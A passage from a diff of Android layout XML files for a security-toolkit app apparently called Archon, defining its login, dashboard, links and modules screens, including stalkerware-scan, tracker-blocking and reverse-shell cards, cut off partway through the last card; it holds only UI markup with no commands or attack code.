android:hint="Username"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_username"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Password -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_password"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Password"
app:endIconMode="password_toggle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_username">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="textPassword"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Port (smaller, below password) -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_port"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="120dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Port"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_password">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:text="8181"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Auto-detect button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_detect"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTO-DETECT"
android:textColor="@color/primary"
app:layout_constraintBottom_toBottomOf="@id/layout_port"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="@id/layout_port" />
<!-- Login button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:text="LOGIN"
android:textSize="16sp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_port" />
<!-- Status message -->
<TextView
android:id="@+id/login_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:gravity="center"
android:textColor="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/btn_login" />
<!-- Skip/offline button at bottom -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_skip"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="SKIP (OFFLINE MODE)"
android:textColor="@color/text_muted"
android:textSize="12sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background">
<androidx.fragment.app.FragmentContainerView
android:id="@+id/nav_host_fragment"
android:name="androidx.navigation.fragment.NavHostFragment"
android:layout_width="0dp"
android:layout_height="0dp"
app:defaultNavHost="true"
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:navGraph="@navigation/nav_graph" />
<com.google.android.material.bottomnavigation.BottomNavigationView
android:id="@+id/bottom_nav"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:background="@color/surface"
app:itemIconTint="@color/nav_item_color"
app:itemTextColor="@color/nav_item_color"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:menu="@menu/bottom_nav" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@ -0,0 +1,225 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/dashboard_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Discovery Section -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_discovery"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/discovery_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/discovery_status_text"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/discovery_idle"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:textSize="14sp" />
</LinearLayout>
<TextView
android:id="@+id/discovery_method_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/discovery_methods"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_discover"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/scan_network"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Connection Status -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connection Status"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Privilege -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privilege: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- Server -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<View
android:id="@+id/wg_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/wg_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/wg_checking"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Output Log -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp">
<TextView
android:id="@+id/output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:minHeight="80dp"
android:padding="12dp"
android:text="@string/ready"
android:textColor="@color/terminal_green_dim"
android:fontFamily="monospace"
android:textSize="12sp"
android:scrollbars="vertical" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@ -0,0 +1,284 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/links_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_url_label"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_url_placeholder"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="16dp" />
<!-- Row 1: Dashboard, WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_dashboard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_dashboard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireguard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireguard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 2: Shield, Hardware -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_shield"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_shield"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_hardware"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_hardware"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 3: Wireshark, OSINT -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireshark"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireshark"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_osint"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_osint"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 4: Defense, Offense -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_defense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_defense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_offense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_offense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 5: Settings (single, full width) -->
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_settings"
android:layout_width="match_parent"
android:layout_height="100dp"
android:layout_marginBottom="8dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_settings"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@ -0,0 +1,655 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON MODULES"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Server Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ Archon Server Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/archon_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/archon_uid_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="UID 2000"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privileged shell daemon — enables modules without root"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/archon_info_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Quick command -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_archon_cmd"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:hint="shell command..."
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
android:inputType="text"
android:background="@color/surface_dark"
android:paddingStart="8dp"
android:paddingEnd="8dp"
android:singleLine="true" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_run"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="RUN"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
<!-- Server control buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_info"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="INFO"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_ping"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PING"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="APPS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Protection Shield Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/shield_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Protection Shield"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Scan &amp; remove stalkerware"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Scan buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_full_scan"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="FULL SCAN"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PACKAGES"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Scan buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_admins"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ADMINS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_certs"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CERTS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_network"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="NETWORK"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Shield status -->
<TextView
android:id="@+id/shield_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Last: no scan run"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Tracking Honeypot Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/honeypot_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Tracking Honeypot"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Block trackers &amp; fake data"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Honeypot buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_harden"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="HARDEN ALL"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_reset_ad"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESET AD ID"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_dns"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PRIVATE DNS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_restrict"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESTRICT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_revoke"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="REVOKE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot status -->
<TextView
android:id="@+id/honeypot_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: idle"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Reverse Shell Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/revshell_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Reverse Shell"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Remote shell to AUTARCH server"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- RevShell enable/disable row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_enable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ENABLE"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
